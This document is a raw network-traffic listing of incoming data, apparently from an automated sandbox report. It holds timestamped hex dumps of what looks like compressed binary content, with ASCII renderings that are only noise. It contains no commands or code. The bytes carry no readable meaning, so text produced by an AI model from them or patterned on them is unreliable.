bc f2 fc fb 6b 5b 98 ff 00 e7 a1 69 17 23 af 3d 0d 6f 43 1d 28 e8 f5 47 bb 46 ea 36 67 93 c7 ac 5a 69 36 2d 05 ca c9 3d aa 
c6 7c b6 8d be 68 df df d8 fe 75 a7 f0 17 e2 2b af 89 2f 34 0d 46 f1 95 15 84 90 7f d3 40 5f 1d 7e 8e bf f7 cd 74 97 de 1b 
d2 3c 40 d3 9b f6 5d 3e ff 00 88 db cb 5d ab 22 8e 85 c7 e4 4b 0a e4 57 e1 fc 5e 09 d6 a2 96 ee ce 0d 8b 96 8b 50 f3 db 
6c cb 8e 55 48 e3 b7 00 f7 af 6e 35 a3 28 73 2d 4b 72 bd 8e bb e2 a7 c2 8d 6f c5 9e 3a d5 df c2 5a 53 5e 47 1c 50 5c dc 
db 5b 48 15 b2 e0 f2 14 90 70 4a 9e 9d eb ca 6f 
Data Ascii: Wkq*^E!V?G^FkGH4:_o;w>)Hi"j[Ik[i#=oC(GF6gZi6-=|hu+/4F@_~t<@]>]"KW^PlUHn5(s-Kro:ZS^GP\[HpJo

2022-05-26 11:46:49 UTC 3902 IN Data Raw: 1a 94 e6 2f 10 b5 b2 79 67 6b 5a 29 ff 00 48 41 8f ee f4 63 5b 3f d9 fa e5 c6 b5 6d 6d a7 5e 6e 45 61 1f d9 a4 
9c bc ed 9e 09 f9 be 61 fd 3a 56 a7 85 6f be c7 6f 7d 21 d3 20 55 8d 43 3c fe 66 d6 da 5f a7 04 9c 67 9a b9 7f 6b a8 6a 
57 d6 7a 8e 9f aa ad 9d c5 b6 5a 35 83 ee b3 67 9d c7 b9 cd 73 5e 9c 2e 96 86 91 b4 5d 91 aa fe 05 f1 1d 86 93 81 a9 ea 
cd 3c 52 89 3c 8b b6 da bb 97 f8 78 fb f9 35 b1 25 9a 49 6f e5 6a 31 5f 58 ba ae e8 db 69 65 6c b7 46 1e dc d5 5d 37 e2 
a7 88 f5 48 67 b4 d4 7f d1 af 6d a3 db ba 38 fe 56 5e df 30 c9 dc 6b b4 f0 8e a0 9a a2 cf 25 c5 9e d9 d9 93 77 99 f3 34 9c 
7a 1f eb 53 cc a7 3e 58 bf c0 8e 76 b7 31 35 2b 6b 3d 2a d6 d4 a3 4f 07 96 bf b8 69 14 ae e6 c0 dc 46 78 cd 61 6b 1a c5 
e3 6e 91 f6 cb 71 b0 79 90 5c c4 1a 26 e7 8f 98 61 
Data Ascii: /ygkZ)HAc[?mm^nEaa:Voo}! UC<f_gkjWzZ5gs^.]<R<x5%Ioj1_XielF]7Hgm8V^0k%w4zS>Xv15+k=*OiFxak
nqy\&a

2022-05-26 11:46:49 UTC 4037 IN Data Raw: 61 d3 72 8f e9 5e 47 d6 25 1d 63 ea 71 c7 15 3b ea 7a 63 7c 40 f1 5d 8e b9 72 90 5e 47 fb c5 1b 6d ae 54 6d 
6c 60 37 23 e5 ce 73 8a ea b4 39 05 f5 8f da ef 62 82 0d 46 56 db 3c 1b 84 b1 2f 19 38 f6 c7 b5 78 ff 00 88 2c 75 bb 5b 89
cc 17 3b 67 6d 8d 02 c9 f7 5b 8e 9d 4f 07 ff 00 af 45 d5 d6 b2 cb 6d 7b 2e 8b 25 b5 c3 28 8e 58 d7 6a f9 99 e3 2a ff 00 74 
fb 8a a8 62 25 27 79 2b 9d 14 ea fb df 0b 67 a7 dc 49 a5 69 b7 d6 da 65 c4 b1 c0 f7 9f bc 89 76 a2 b2 af 4c 6e ef 93 5d 
4e 9d e0 0d 23 52 8d a5 49 da 04 8b 0d ba 4c 7c d9 f4 26 bc 4e e7 c5 a7 4b f2 a7 bf b3 95 52 36 0b 17 9f 26 f7 dc 01 3d 
0f 4f 6a 6e 9b f1 10 78 ca 35 81 65 6b 38 ae 54 a4 9f bc f9 db 1c 8c af 03 03 d0 56 91 95 08 3e 69 40 de 52 a1 7b a5 ef 
1e c3 ab 37 87 f4 b6 bc d3 ed 2d a4 d4 1e 58 8a c9 
Data Ascii: ar^G%cq;zc|@]r^GmTml`7#s9bFV</8x,u[;gm[OEm{.%(Xj*tb%'y+gIievLn]N#RIL|&NKR6&=Ojnx5ek8TV>i
@R{7-X

2022-05-26 11:46:49 UTC 4260 IN Data Raw: b4 49 35 8f b3 69 f7 bf bf 9f cb fd d5 da c7 f3 2b 2f 35 e4 7f 1a 7e 1a c9 e2 6d 5a db c4 b6 17 3e 45 ed ae 63 
97 cb 5d cd f7 f8 65 fc 3f 5a bd a9 7c 42 f1 7e 87 ab 40 34 fb 19 db 4e 8a 4f 32 59 26 f9 fc be 8a 06 57 9d bc e6 b6 f4 5f 
15 1f 11 59 db 5d 98 24 d3 1a 4f f5 ac b1 ee da e4 ed c7 eb e9 55 3c 4b 50 52 8e 9f 89 9c eb 52 ac b9 2f 63 9a d2 ac e5 
f0 de b4 b7 b1 6a 17 cb 67 14 48 d3 b7 f0 b3 1e 3a 37 f9 15 d7 26 bd 7f 66 d0 5e c5 1a cf a6 cb 2f ca db 76 aa ab 7d 3b 
7f 23 ba ab dd 59 eb 7a 87 87 6f ac ae 20 8e 5f b4 b1 f2 24 65 f2 9d 58 10 70 df 97 0d 4e b5 f0 88 d3 b4 bb 34 d4 2e 6e 
6c 5a 5c ee 65 f9 a2 5e 79 5e 3e ee 6b 86 ac 69 4d 29 29 6b d4 25 18 c6 29 c2 46 c6 a5 a4 9d 41 65 fb 04 f2 59 cb bb cd 
8d 77 6f 8b d1 80 ff 00 f5 d5 3f b3 6a 89 7c a3 cd 
Data Ascii: I5i+/5~mZ>Ec]e?Z|B~@4NO2Y&W_Y]$OU<KPRR/cjgH:7&f^/v};#Yzo _$eXpN4.nlZ\e^y^>kiM))k%)FAeYwo?j|

2022-05-26 11:46:49 UTC 4292 IN Data Raw: 00 d2 f9 62 3d c7 70 cf cb df 3c 66 b8 2a 4a 31 4d 49 6b d1 98 5b 99 9e 49 a4 f8 b7 48 b1 d7 27 fb 5d b4 f3 da 
dd 49 fb c8 16 7f 9f 70 e1 55 76 8e 73 5e bb a6 eb 91 78 e2 65 b4 d3 35 0b bd 33 52 8d 9e 06 8e ee 4d ab b4 7a 03 82 
cc 3a 63 f0 ae 3a 18 74 0b 8f 11 69 f7 16 9e 1a be b9 bf 5f 9b 72 a9 54 da 39 f3 06 38 24 7b d6 8d ca c9 e2 2f 18 37 9b 
04 7a 75 c4 f9 6b 49 e7 fb ec c5 8b 7d d1 dc 9e 29 d7 e4 a8 d3 49 ad 3c bf 22 e3 ee ab 11 68 fe 18 d7 34 7f 15 4f 6f 77 
aa cf 6d a4 47 1b 4b f6 98 17 fd 64 9d 97 77 4e 3d 6b b4 be f0 92 af 89 2c f5 39 ac 6e 7c a9 15 e3 b9 66 fd ea b3 04 c2 
b1 c7 f0 9c f3 c7 15 2f 87 ae 35 5d 43 e4 f1 24 12 2c f7 56 c6 09 6e 63 54 44 8d c1 da 3e 5e 83 81 da b4 b4 5f 0c f8 9f c3 
7e 19 9e 2b cd 42 3d 54 c9 72 f2 2c f0 61 59 ad f0 bb 
Data Ascii: b=p<f*J1MIk[IH']IpUvs^xe53RMz:c:ti_rT98${/7zukI})I<"h4OowmGKdwN=k,9n|f/5]C$,VncTD>^_~+B=Tr,aY

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 4411 IN Data Raw: 0b cb af 10 5f ea fa 9c 8a d2 ca 63 b1 d1 20 90 26 d5 03 2d c8 3c f3 c1 35 d5 08 d6 86 8e 5c a6 6e 4b a9 ce 
6a ba b6 81 61 a8 4b 69 aa 5e 6a 17 33 db 2e eb 4b 48 1b e5 56 f5 72 be f8 eb 50 bf 8f a7 b3 d2 65 9e 08 be cd a4 c9 19 
8a 29 ee e4 dc ca e4 8c b0 1d 70 2b 67 55 d3 de 46 5f ec 08 20 d3 ef 63 83 f7 90 49 1f 9b b9 81 dd 86 7e ad cf 35 e7 13 
7c 23 d5 26 8e e5 ef 75 08 ee 67 91 8c bf 64 8e 4d be 5b 37 39 61 5b c2 34 25 a4 a5 b1 ce e6 d9 d3 58 f8 aa c1 da f3 4b 
d7 d6 0d 4e 09 36 4b 6d 3b 2e cf 33 23 fd 67 eb c5 61 f8 82 e4 78 57 52 d3 dc 4b 3c 53 c8 c5 a3 b9 91 8f 96 ad db 1c e7 
68 1e b5 87 ad fc 3a d4 f5 4f 11 69 91 5f df 49 14 1e 56 d6 6b 4f e1 60 30 14 9f a5 6c 4d f0 07 5b f1 0d be 90 2e f5 56 5b 
78 25 7f 3d 9b 2c ed 9c 6d db 9e a3 1d eb a6 31 a1 06 
Data Ascii: _c &-<5\nKjaKi^j3.KHVrPe)p+gUF_ cI~5|#&ugdM[79a[4%XKN6Km;.3#gaxWRK<Sh:Oi_IVkO`0lM[.V[x%=,m1

2022-05-26 11:46:49 UTC 4483 IN Data Raw: 95 93 b2 3a 4b ed 2e 4b 3f 0c d9 dc 5b 45 fe 8b 24 10 ac 71 ab 7c aa a3 86 6f c3 ad 70 3e 24 bc 5f 0f 47 6d ab 
dd b2 aa 41 73 e5 c4 d0 36 ef bd fc 5b 7d 0e 2a fd 8f 8b 27 f0 fe 8b 6d a4 6a 8b 24 52 f9 e6 2b 66 dd bb e4 64 dc 06 3d 
81 a5 be f0 f4 9a 26 8f a8 6a 52 34 1a be 9b 27 ee 96 3b b5 da b1 e5 01 27 ea 2b 4e 54 a7 ae df 98 95 ee 73 9f 0e 7c 50 
9a f4 6c 2c da 7b 98 bf b4 8a c7 bb ee aa e7 2d c8 fd 2b 76 eb 4b d5 fc 55 a6 dd 79 7b 74 cb 08 23 2c f1 ff 00 cf 44 ce d2 
a0 76 fa d7 9e 7c 0d d6 ed fc 1f e2 6f ec fb 96 8f ec ad 77 22 a4 11 b6 ee 31 80 4f be fa ef 3c 41 ae 4b a3 eb 4b 1a 41 3a 
bc 96 c2 5d dc ec 6c be 73 ff 00 7c 8a e9 ad 4f d9 d5 7c ab d0 87 be 87 2f e2 1f 01 ff 00 68 ea 9a 7f 87 ec ac ed 27 89 76 
4a db 63 d8 ec a9 f3 18 dc f1 f2 f2 46 4f 35 
Data Ascii: :K.K?[E$q|op>$_GmAs6[}*'mj$R+fd=&jR4';'+NTs|Pl,{-+vKUy{t#,Dv|ow"1O<AKKA:]ls|O|/h'vJcFO5

2022-05-26 11:46:49 UTC 4531 IN Data Raw: 98 6f de 7d 45 58 d3 7c 1b 05 be 97 7d 05 c4 11 c9 78 ac 23 59 bf bc b9 ea a3 e9 5c d4 68 d1 a7 ef d4 96 cc 
e8 a3 85 4b de ab a1 c6 7f c2 41 79 7f 1c 16 9a a6 d6 b3 5b 63 02 dc b2 85 7d a7 9e a3 b0 34 69 5a 2e 87 0d e2 c7 73 f6 
bb cb 8b 95 da b1 db 2f dd f4 c7 1c fd 2b d0 2c 7c 37 a5 2d be 52 55 96 ea 0f 9b ec dc 33 37 df c4 7f 5c 1f d2 b6 74 54 d3 
bc 2f a9 35 f5 cd b3 45 75 04 62 5b 65 9d 7e 65 dd 9c e1 7a 9e 38 e4 57 6d 2a 94 e4 ff 00 77 16 75 c6 85 28 eb 15 73 89 
d6 be 19 de 78 62 ce 2b c1 03 6a f3 d8 aa 5c cf 04 8c 57 cb 56 3b 96 3f 76 c5 6c 78 a2 de d3 5c 86 e7 50 b8 b6 58 9a 5b 
4f 32 3f 31 82 ae d3 f3 11 8e 39 c1 ae 36 eb e2 8e a3 61 ac 31 bd 96 49 e0 91 b6 b3 4f fc 5e e7 1d f1 49 ae 6a 5a 36 b9 
71 a7 a4 50 4f 3d fb c6 77 6d 6f 96 15 fa 7e 59 af 52 
Data Ascii: o}EX|}x#Y\hKAy[c}4iZ.s/+,|7-RU37\tT/5Eub[e~ez8Wm*wu(sxb+j\WV;?vlx\PX[O2?196a1IO^IjZ6qPO=wmo~YR

2022-05-26 11:46:49 UTC 4570 IN Data Raw: eb f7 aa cd f3 ee 53 85 4f 97 d4 e2 b8 bf 00 fc 63 d6 16 fa 79 6f 2c 5a e7 4d 82 3f 95 ae 54 fc ca 78 0d ef fe 15 
d4 69 57 9a 27 8c ae 35 39 da fb 6c f0 28 5b 69 e3 f9 92 35 ce 57 23 db 26 b8 23 2a b4 af 17 a7 a1 c6 ab 38 bb 27 63 9a 
f1 25 85 86 b9 34 1a 5d 84 ab a7 4f 6c a6 4f 21 5b eb ce df 61 50 68 fe 19 d4 2f 34 b5 bf 9f 50 f2 12 08 8c b3 b4 8a aa ac 
bd 16 b3 7c 45 a0 c9 1d d5 e6 a7 67 78 b6 77 bc da 7d a6 4f 99 a4 72 32 0f d3 e5 6a e6 ed 9b 51 d7 a3 fb 1e a7 a8 48 c8 
b2 79 6d 6d ff 00 2c 99 c0 e3 1f 53 5e f6 1f 0c b1 11 49 cb 45 f7 9e 9c 61 ed 17 be cb be 2d f1 16 8d e1 5d 62 09 34 88 
16 79 d9 44 b2 6a 1f 75 5b 27 b2 e7 93 9c d7 25 7d e2 2b 4b eb a6 92 39 e4 b9 b8 b9 8f f7 b7 33 b7 cf f7 fa 03 e9 5b de 
2c d1 1a 3f 2a 23 67 23 41 1a ed f3 36 fe 78 f5 
Data Ascii: SOcyo,ZM?TxiW'59l([i5W#&#*8'c%4]OlO![aPh/4P|Egxw}Or2jQHymm,S^IEa-]b4yDju['%}+K93[,?*#g#A6x

2022-05-26 11:46:49 UTC 4650 IN Data Raw: 13 6a ba 85 dd f4 77 ca b2 18 1a 75 f9 ba a6 e1 8f 4e 2b 6f 5a 49 af e3 9e 58 e5 59 7c c8 8b 47 fb bf bb 9f f0 
ac 3f 04 e8 93 db 42 b2 5b 4f fe 8f 7d 29 8a 4b 69 db 72 42 ff 00 c3 f5 e2 bd 22 d7 c0 1a fe a1 22 fe f6 da 2b 45 59 a4 6f 
23 e6 76 65 40 30 3e ad 5e b5 4b f3 5e db 1f 4b 4d f2 c1 73 6e 71 fa 25 c5 f3 c9 63 2d ce aa d6 7a 73 48 63 68 f6 fc b1 ba 
8c 0e fc 86 a2 b5 7c 49 a6 c1 fe 8d 63 fd 95 a8 35 e7 1e 64 1b 7f d5 af bf e5 45 63 78 be 9f 81 9f d5 e9 7f 2d cf 40 5d 17 
41 f1 12 db 45 a7 2c eb 75 04 6f fb f8 fe f5 bb 19 32 d9 6e ea 48 c6 29 35 ad 26 4f 07 e9 f2 cb 61 17 9f 14 9b d7 cb 93 e5 
fb e3 07 1e 86 b8 bd 2f 5a 8d 96 e6 ef c3 12 f9 56 7a 74 b3 c5 7d e6 29 57 55 6c ba 47 8c 7c dc 9d b9 fa 56 c6 8f e3 ad 5f 
5e d5 3e c7 3c 51 c1 b6 38 64 85 a4 6d 
Data Ascii: jwuN+oZIXY|G?B[O})KirB""+EYo#ve@0>^K^KMsnq%c-zsHch|Ic5dEcx-@]AE,uo2nH)5&Oa/ZVzt})WUlG|V_^>
<Q8dm

2022-05-26 11:46:49 UTC 4737 IN Data Raw: aa 6b 9e 0b fe cc 83 4c 8e c6 c2 0b 44 69 d5 a7 fd ec d7 27 2b e6 15 ff 00 c7 be 86 a4 d5 7c 3c ff 00 0f 7e 1b 
de 24 57 d7 3a 86 bd 6d 77 e4 2a c6 bb d6 6b 65 19 50 33 db 97 ff 00 be 6b 4e 5a 6e 7a 3d 6e 95 ae 4a 8a bd af a1 d3 
db 5a c6 f2 2c 01 67 58 35 38 0c 8d 69 a8 2e ef 31 59 06 3a f6 1d 6b 83 f1 07 81 62 b7 8e 54 8a da d3 48 b8 9f cb 89 74 
f5 fb ad ce e3 27 3f c2 7d 3b d7 a4 5c dc c1 e3 4f 09 f8 5e 59 2f 27 5d 53 f7 96 d0 79 8a 62 fe 0d c3 77 a7 a5 70 3e 39 d0 
ee 7c 45 0c 1e 6d cb 45 2d 9c 42 0f 95 b7 34 8f 19 c1 39 3d 87 6a ca 8c 9a 9f c5 62 2d ca ec 72 f7 d7 70 7c 34 b8 be 8f 
50 58 ee 6c ff 00 72 a8 b6 8d b5 6d dd 3e ea 9c ff 00 01 27 95 ad 7f 03 7c 76 f0 a2 35 cc 1a 75 b4 16 3a 95 cc e3 6f 9f f3 
7d a1 77 64 8c f6 3d 71 5e 57 73 e1 3f 14 ea 1a 96 
Data Ascii: kLDi'+|<~$W:mw*keP3kNZnz=nJZ,gX58i.1Y:kbTHt'?};\O^Y/']Sybwp>9|EmE-B49=jb-rp|4PXlrm>'|v5u
:o}wd=q^Ws?

2022-05-26 11:46:49 UTC 4785 IN Data Raw: b2 c8 c4 6f 6c 1e 83 83 8a d2 bc 5b cd 7b 58 92 c2 fe 2b 96 96 da 59 2d ae 59 54 6e db f7 b7 2f 63 8e c7 b1 
15 d1 2a 9e f2 95 b7 57 64 b4 94 53 37 2f 17 58 f1 96 93 67 77 61 05 b5 9b 6e db 3a c8 c5 59 b6 46 1b 1f 2f dd eb fa 56 
5e 95 ad ea fe 17 fe c3 9e 7b 18 35 ab 59 27 9a 38 a4 83 e6 7d 99 27 9f f6 80 6a 77 81 a6 d2 21 d6 35 3b 4d 2f c4 37 6c 
f2 a8 ff 00 46 9e 3d db 98 a0 f9 b3 ea 4e 73 5b 7a 85 c0 b6 5d 36 7b b8 a3 6b d8 d9 20 9e 4b 6f 91 54 49 c0 ca f6 e7 6d 
71 5f d9 be 4b 69 f7 3d 8a e9 73 a3 b0 f0 fd 96 b5 a7 e8 7a ac b7 9e 56 8d 25 cc 93 c5 23 36 cd cd 9c 7f e3 ad c7 e1 5c 
97 88 74 33 a9 69 f2 db cf 14 f2 da c9 14 8b 69 3a b7 cd 1b b4 9c ae 47 62 4d 1e 27 b1 3e 27 b1 d3 34 fb 76 b9 b3 bc d2 
ad a4 f2 e7 8d 4f 94 db e6 72 aa 57 a1 dd dd bb 54 1e 03 
Data Ascii: ol[{X+Y-YTn/c*WdS7/Xgwan:YF/V^{5Y'8}'jw!5;M/7lF=Ns[z]6{k KoTImq_Ki=szV%#6\t3ii:GbM'>'4vOrWT

2022-05-26 11:46:49 UTC 4880 IN Data Raw: 3f 4d f0 dc 52 45 73 6d a8 69 37 52 c6 bb 6d a3 de d6 e9 bf e5 60 3a ed 20 aa e3 b5 69 d9 f8 9a f3 4f d7 35 
09 ae 22 59 f7 7e f5 6d 19 76 b6 e0 01 31 ee e9 cd 79 fd af 8d af 34 9d 4a 79 fc 88 da 58 e3 2a db 57 6a 72 32 a7 6f fb 35 
a5 3a 6e 57 e5 5e 65 39 dd 59 b3 a4 fb 1d 94 9a 5e 83 79 15 a5 cd 8c b6 77 86 39 16 4f 95 76 90 57 38 ee 32 7f 2a 3c 4d 
e0 c9 75 08 d7 fb 2e 5b 6f b3 cf 30 8d ae 60 90 ac b6 ef 9e ea 3f 87 3d 4f a5 36 db 5e b3 d4 95 92 ef cc b9 bc da 24 92 
3d bf 2e cc 8c 30 1d 0d 5b d4 1c f8 7d a0 bb b4 65 6b 76 6f 99 a3 ce f5 6e a3 2a 3a 8c 9e 68 4e 51 92 ee 44 5d 98 cd 4a 
d6 2b 9f 0f df 69 1f 69 f2 a5 59 52 39 24 5c 6e e0 72 73 fd d2 3e 53 ff 00 01 35 27 84 bc 3b 37 c4 5d 52 0b 2d 5d 63 bc 5d 
1e e6 0b 99 63 f3 c3 2d c6 39 40 43 75 5f 97 0c 2a 
Data Ascii: ?MREsmi7Rm`: iO5"Y~mv1y4JyX*Wjr2o5:nW^e9Y^yw9OvW82*<Mu.[o0`?=O6^$=.0[}ekvon*:hNQD]J+iiYR
9$\nrs>S5';7]R-]c]c-9@Cu_*

2022-05-26 11:46:49 UTC 4896 IN Data Raw: f0 18 af 44 f8 69 e2 44 ba d3 ec c5 dc 4d 05 c6 9b 6d f6 b8 e3 56 ff 00 8f 84 23 99 32 7f 5a da ad 29 53 5c cd 
5b fa d0 e5 55 5d ec 8e b7 e2 25 b4 5a 7e 83 63 61 65 14 7b b4 d9 12 78 d5 54 b3 72 09 0d f4 e3 6d 79 df c5 ad 0f 52 bc 
b8 d2 35 bb 0d 22 fa e7 5a d4 2c 44 b2 f9 1f 75 63 50 70 4a 9f e2 c0 ce 3d 2b d8 5f 58 1a e5 aa df c3 14 7f 65 d3 7f 79 15 
cc 9f 76 44 27 1b 73 dd 47 34 f7 f1 34 b6 f6 f7 d7 73 c1 1f f6 95 8d b2 2d b7 cd f2 cc 8c 38 2b 58 46 a3 a7 3b a4 3a b1 4e 
a7 96 87 97 fc 2d f0 7f 8b 34 db ed 7b 4e d5 27 58 9f 58 b1 87 ec d7 2b fd d9 7a b7 fb c3 1c d7 7b 73 ab 59 7c 31 d7 9a 
78 db ca bf ba d3 c3 58 c0 cd f2 34 61 f6 16 f4 1f 32 d6 b5 8f 88 65 d7 af 1a 3b b8 a0 82 09 22 fd d3 47 ff 00 2c d4 02 76 
8f a7 cc 2b 94 f8 b1 e1 b8 3c 79 a6 d8 ea 3a 
Data Ascii: DiDMmV#2Z)S\[U]%Z~cae{xTrmyR5"Z,DucPpJ=+_XeyvD'sG44s-8+XF;:N-4{N'XX+z{sY|1xX4a2e;"G,v+<y:

2022-05-26 11:46:49 UTC 4967 IN Data Raw: bc ce c3 c3 7f 16 34 af 13 5e 5b 0b f5 92 2b fb 66 36 91 34 ad b9 e4 77 f9 42 e7 a9 07 3d 2b cd 7e 29 69 7f d8 
9e 2a 96 d6 c9 59 55 a0 86 58 23 8d 8b 7c e3 ef 0c f7 aa 6d 6d a5 d9 eb 16 7a 9e 9d a8 47 e6 db 4e 25 f2 f7 6e 65 6d df 
29 07 d4 7a 55 cd 37 c5 1a ce df b0 5b 5b 35 e5 e4 f7 32 5b 59 c9 3c 7f 75 fb ae 4f ad 79 b0 c3 c6 8c b9 a1 f8 98 2a 7c 9e 
ec 8d 2b 7d 03 59 f0 f5 d6 a7 ab e9 4f 22 da cb 12 79 16 cb f3 3b 3b b8 22 30 07 3e a6 bd 63 c0 be 32 d6 6c e1 f0 d4 7a 
5c 12 78 86 eb 57 b9 3e 6c 0d 27 98 96 6a 39 eb fc 0c 3e f7 e9 5e 6b f0 e6 6f 13 c7 f1 4b c3 da 8e a3 66 d6 36 b2 dd c1 
15 ca dc af c8 ad 09 da a7 07 8a fa 83 e2 57 c3 bd 3f e1 9d d4 be 2d f0 ec ad 66 b7 32 99 27 b4 55 fd d2 b1 1c c8 17 b1 
39 af 3b 1f 3a 69 a8 d9 36 d7 fc 0b 36 6d 29 41 2b 
Data Ascii: 4^[+f64wB=+~)i*YUX#|mmzGN%nem)zU7[[52[Y<uOy*|+}YO"y;;"0>c2lz\xW>l'j9>^koKf6W?-f2'U9;:i66m)A+

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 5055 IN Data Raw: db de 68 ee 83 e7 4a 4c c7 b8 d4 65 d3 fe d3 15 93 32 c5 b4 6d dd f7 59 9b 00 8f fb e4 56 03 69 f7 17 f7 52 dc 
49 3f d8 d1 58 36 e8 fe 55 55 1c 62 ba 3d f7 93 d8 b1 78 16 7b 58 d8 2e d9 17 ee e7 bd 43 a7 dd 0b e8 f1 2d 9c 10 5b c1 
f2 b6 df 9b 77 ff 00 5e b5 a5 f1 39 2d c8 4b 56 d8 9e 18 d7 35 0d 0f 58 fe db b3 95 ad a2 b6 6d 91 c8 ac 57 cc cf 5f c3 15 
d9 6a de 0b 1e 26 8e 0d 76 35 db 15 cc a1 56 35 61 b5 50 8e bf 9f 6a e0 75 0d 4a e2 e3 56 b9 b6 93 cb 82 d6 26 11 41 
1a af cb d3 ff 00 d7 5e 9f f0 fe c3 50 b1 f0 ef 9f 7b 73 04 b6 ed 21 58 ed 97 f8 54 8e a7 d3 9e 86 b9 f1 d5 1d 38 a9 45 d9 
df f0 30 af 35 6e 5b 9c 95 fd bc 1a 1e b5 2c 49 2b 28 8d 7c bd ab 55 52 df 4f b1 f0 ef f6 86 e9 19 ae 63 91 55 97 1b 5b 3f 
28 04 57 45 ab 78 79 35 8b eb 99 42 b3 45 e7 c6 
Data Ascii: hJLe2mYViRI?X6UUb=x{X.C-[w^9-KV5XmW_j&v5V5aPjuJV&A^P{s!XT8E05n[,I+(|UROcU[?(WExy5BE

2022-05-26 11:46:49 UTC 5111 IN Data Raw: aa a8 27 78 3f 5c d7 2f f1 0a 4f 0b 78 83 c5 17 de 5d cd cc 17 ab 72 7c a5 65 0a 9e 59 cf 2b f8 d6 78 1a 7c 95 
5c 5c 6c 75 53 8c 66 f9 6d 63 ce e1 92 ca fb ec de 72 ac 12 aa 8f 95 7e eb 35 75 be 21 b8 d6 6c 57 48 8a ce 5d c8 ba 7c 
12 c5 02 fd dd c5 30 48 fc ab 3e fa c3 43 d2 55 7e df 15 cb 32 af ee a4 fe 16 fc ab ac d5 b5 af 0b cd fd 87 6f 24 5a a2 b4 
56 30 b4 6b 06 cd bb 4e 7d 6b d8 ad 16 e5 16 95 cb 95 26 99 c3 f9 30 6a da 2d b3 ba b4 4b 24 85 59 a3 fb ca e3 d7 da 
b7 b4 ab c2 b6 2b a3 c5 ba 7f 2b 7e e6 db f2 f3 d8 9a b3 6d 34 3a 5a ba 5b e9 52 32 33 34 91 b4 9f df 3f c5 9a a9 ac 5b 
47 a5 c3 62 62 9e 78 ae 1a 47 f3 e1 65 f9 63 6e d8 6e f5 53 93 8c 39 50 aa 7e ed 24 9e a5 7b 89 ae 6c 34 f5 b7 b9 59 73 
2c bf de f9 7e 51 c1 cd 61 dd 6a a2 6d 36 da 38 f7 7d 
Data Ascii: 'x?\/Ox]r|eY+x|\\luSfmcr~5u!lWH]|0H>CU~2o$ZV0kN}k&0j-K$Y++~m4:Z[R234?[GbbxGecnnS9P~${l4Y
s,~Qajm68}

2022-05-26 11:46:49 UTC 5135 IN Data Raw: 56 d5 ab 1c b7 8b 7c 41 ac c7 a3 df 45 65 ba ce 09 14 5c ca aa df ea d7 1d 1b e8 70 45 74 3f 0f 66 d4 35 ef 08 
aa 09 63 fb 6d ca a4 71 34 eb f2 ab f5 e7 1f c3 83 55 7c 3b a6 ef f0 ce b9 72 22 59 7f b4 2d 04 8b 6d 73 f3 2a e1 32 4b 1f 
4c 74 c5 68 f8 4d ad a6 d3 7f b2 21 bc 93 4f bd 96 29 3c cd ca 15 63 50 30 b8 f4 e7 9f a5 6b 52 51 f6 6e 29 6c f7 32 d0 f0 
af 12 6a 57 3e 1d f1 56 a1 69 a9 e9 f6 d1 6b 70 5e 1f 35 97 3f 7b 39 dd f4 3f 7a bd 23 c3 fe 27 d0 f5 bf 09 ea 76 3e 21 dd 
e5 2c 62 48 a7 81 43 49 b1 8e 4e 0f 5c ee 0b 5e 21 f1 1b 50 bc 97 c6 9a bd dd dc f1 cb a8 34 a3 cf 68 d7 f7 72 36 30 1b 
f1 c5 7a df c2 7d 36 e7 c5 da 1d e4 f1 c5 25 8d 85 b4 11 ac b2 79 63 6b 22 65 dc 0c f5 62 17 80 2b e8 31 14 13 a3 09 fa 
7e 87 74 68 fb 57 18 a3 b8 f0 8f 81 74 cd 61 
Data Ascii: V|AEe\pEt?f5cmq4U|;r"Y-ms*2KLthM!O)<cP0kRQn)l2jW>Vikp^5?{9?z#'v>!,bHCIN\^!P4hr60z}6%yck"
eb+1~thWta

2022-05-26 11:46:49 UTC 5175 IN Data Raw: 99 38 a3 ce fe 18 f8 4e db e0 6c 3a 87 88 75 1b b6 95 6c e4 48 d6 7f e1 b8 be 64 21 02 7b 2a 16 66 1e 8a a7 
bd 76 de 05 f0 3d 97 8c 3c 5d e1 ed 67 59 b4 fe dc bd 9e 73 73 24 72 37 ca a8 09 73 34 a7 fb 9c f0 bf c5 c0 e8 0d 5d f8 
b1 e0 cb 4d 66 1d 0e e7 4f f3 35 cd 13 47 9c f9 7a 7b 5c ac 16 d2 33 e4 bc ec 5b 99 18 9c 0e 3e 95 dc 68 7a de a3 0f c3 
d8 b5 0b 4f 0a db 41 7f 7c c7 4f 58 ee e7 3b 23 b5 5e 1e 63 8c 71 9c 2a 81 d6 bd ea 31 52 a9 17 39 5d ad 5f 9f 4f f8 07 
54 69 fb ca ec db f8 81 e2 6d 23 c6 7a 2e a7 71 61 e7 df 68 fa 0a fe ee 3d 37 3b e6 66 4e 58 05 fe 23 f3 2a e3 a7 5a f9 c3 
c3 df 0a 3c 41 ab 5a ea fe 2f f1 ec 50 f8 72 0b e9 f7 5a 5b 5d dc a4 5f 6a 42 36 a8 c6 72 a8 83 6a f4 cf b5 7b 5c de 2e d0 
34 19 9b 4a 36 36 4d a7 4b 10 97 ec 96 d9 5f b4 3e 
Data Ascii: 8Nl:ulHd!{*fv=<]gYss$r7s4]MfO5Gz{\3[>hzOA|OX;#^cq*1R9]_OTim#z.qah=7;fNX#*Z<AZ/PrZ[]_jB6rj{\.4J66MK
_>

2022-05-26 11:46:49 UTC 5214 IN Data Raw: 77 f6 c3 f8 5d 7f aa fc 4a 4f 12 47 73 1c fa 5e b8 b6 32 5b 2f 9a 36 79 c6 04 57 f7 cf 15 f5 bf 58 a1 5a a3 94 b6 
6b af 73 79 5a 54 db 8f 73 57 4f f1 a4 7f 19 3c 22 da 7e b1 78 b1 5e e9 fe 74 ba 5e a0 b1 f9 4f f2 84 da a0 74 03 1b 97 9e 
b5 e1 92 f8 47 54 fb 56 95 e2 4d 67 45 b9 8b 43 59 df 74 92 2f cb 98 d0 b6 0f b1 e2 b5 6e 63 4f 0a e9 2b 2e b2 ad a5 45 
6d 7b b5 7e 5d af 74 83 86 55 5f ee 83 de ba 8f 0c f8 9f 5b f8 80 ad a4 68 56 77 7a c4 57 2c 9e 66 9f cb a3 46 d2 70 71 eb 
bf 68 3e d5 e7 d2 8c e8 36 e9 2b c5 fe 1e 8c e6 4e 52 77 b5 cf 3b f0 1f 8b 6d f4 ff 00 13 69 90 49 a9 b5 8d bc b2 8d b3 c9 
